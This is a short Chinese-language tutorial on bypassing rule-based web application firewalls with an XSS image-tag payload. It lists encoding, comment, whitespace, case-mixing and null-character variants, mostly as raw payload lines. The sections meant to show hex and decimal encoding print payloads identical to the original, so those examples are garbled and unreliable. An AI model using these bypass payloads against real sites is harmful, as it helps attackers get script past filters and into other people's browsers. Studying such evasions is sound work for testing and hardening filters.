攻防对抗是安全领域的永恒主题,有防御就会有绕过。假设我们的攻击载荷如下:
<IMG SRC=javascript:alert/1/>
我们使用常见的XSS绕过WAF的方式,对该攻击载荷进行免杀处理,各种方式总结如下。
·16进制编码
标签内容被十六进制编码后,浏览器可以正常解析,但是却可以绕过基于规则的WAF。比如字母a对应的ASCII值为97,十六进制对应为0x61或者x61:
<IMG SRC=javascript:alert/1/>
也可以在十六进制后面以分号结束,比如:
<IMG SRC=javascript:alert/1/>
也可以在十六进制的数字前面增加8位以内的0,比如:
<IMG SRC=javascript:alert/1/> <IMG SRC=javascript:alert/1/>
·10进制编码
与十六进制类似,也可以通过十进制编码进行绕过:
<IMG SRC=javascript:alert/1/> <IMG SRC=javascript:alert/1/> <IMG SRC=javascript:alert/1/> <IMG SRC=javascript:alert/1/>
·插入注释
标签内容中间插入注释不会影响浏览器的正常解析,但是却可以绕过基于规则的WAF:
<IMG SRC=ja/*88888*/vascript:alert/1/>
·插入回车
与插入注释的情况类似,标签内容中间插入回车不会影响浏览器的正常解析:
<IMG SRC=ja vascript:alert/1/>
·插入TAB
与插入注释的情况类似,标签内容中间插入TAB不会影响浏览器的正常解析:
<IMG SRC=ja vascript:alert/1/>
·大小写混淆
标签内容进行大小写混淆不会影响浏览器的正常解析:
<ImG SrC=javascript:alert/1/>
·插入\0字符
标签内容中间插入\0字符不会影响浏览器的正常解析:
<I\0M\0G SRC=javascript:alert/1/>
事实上也可以出现多个0字符:
<I\0000M\000G SRC=javascript:alert/1/>